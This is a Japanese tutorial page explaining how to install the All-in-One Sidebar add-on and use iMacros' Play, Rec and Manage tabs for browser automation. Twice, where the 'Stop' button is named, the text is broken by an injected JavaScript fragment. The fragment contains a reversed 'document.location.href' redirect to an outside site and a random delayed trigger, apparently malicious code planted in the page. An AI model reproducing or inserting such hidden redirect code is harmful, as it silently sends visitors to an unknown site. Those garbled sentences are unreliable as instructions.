
iMacrosを使いやすくするための準備
まずブラウザ上でiMacrosを操作しやすい環境を準備しましょう。下記のアドオンをインストールしてください。
All-in-One Sidebarをインストール
https://addons.mozilla.org/ja/firefox/addon/all-in-one-sidebar/
サイドバーにiMacrosを表示させる
インストールしたAll In One Sidebarを展開し、IOpus iMacrosをチェックします。
iMacrosの基本的な使い方
左サイドバーの上側には記録されたマクロファイル(.iim)が表示され、下側には操作メニューが表示されます。操作メニューには「Play」「Rec」「Manage」の3つの操作タブがあります。この3つのタブについて使い方を説明します。
「Play」タブでマクロを実行する
ここでは記録したマクロを実行させることができます。「Play」ボタンをクリックするとマクロが実行され、「Pause」で一時停止、「Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top」で停止できます。また「Play(Loop)」を使うことでマクロを指定した回数だけ繰り返し実行することもできます。(ただこの機能は無料版だと制限があるので、何度も繰り返すプログラムを組みたい場合は「!LOOP」という変数を活用する必要があります。」
「Rec」タブでマクロを記録する
当サイトがiMacrosをおすすめする一番の理由はこのマクロを記録できる機能がある点です。プログラミングをしたことがない方でもiMacrosは「Record」を開始し、記録したいブラウザ操作が終わったら「Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top」を押して動作を保存するだけです。この動作だけで自分専用の操作を記録出来ます。
「Manage」で記録したマクロを編集する
記録したマクロはManageで編集することができます。が特別な設定を行いたい場合以外は不要な機能なのでここは覚えなくて大丈夫です。
※recoadし保存したファイルの参照元、ダウンロードしたファイルの格納先を変更したい場合はこのManageから設定します。
設定手順は下記です。
Manageタブをクリックして設定画面へ進みます。
Pathタブ内のFolder Macrosのパスを変更してください。
iMacrosでブラウザ操作を自動化する方法まとめ
iMacros関連のまとめ記事です。
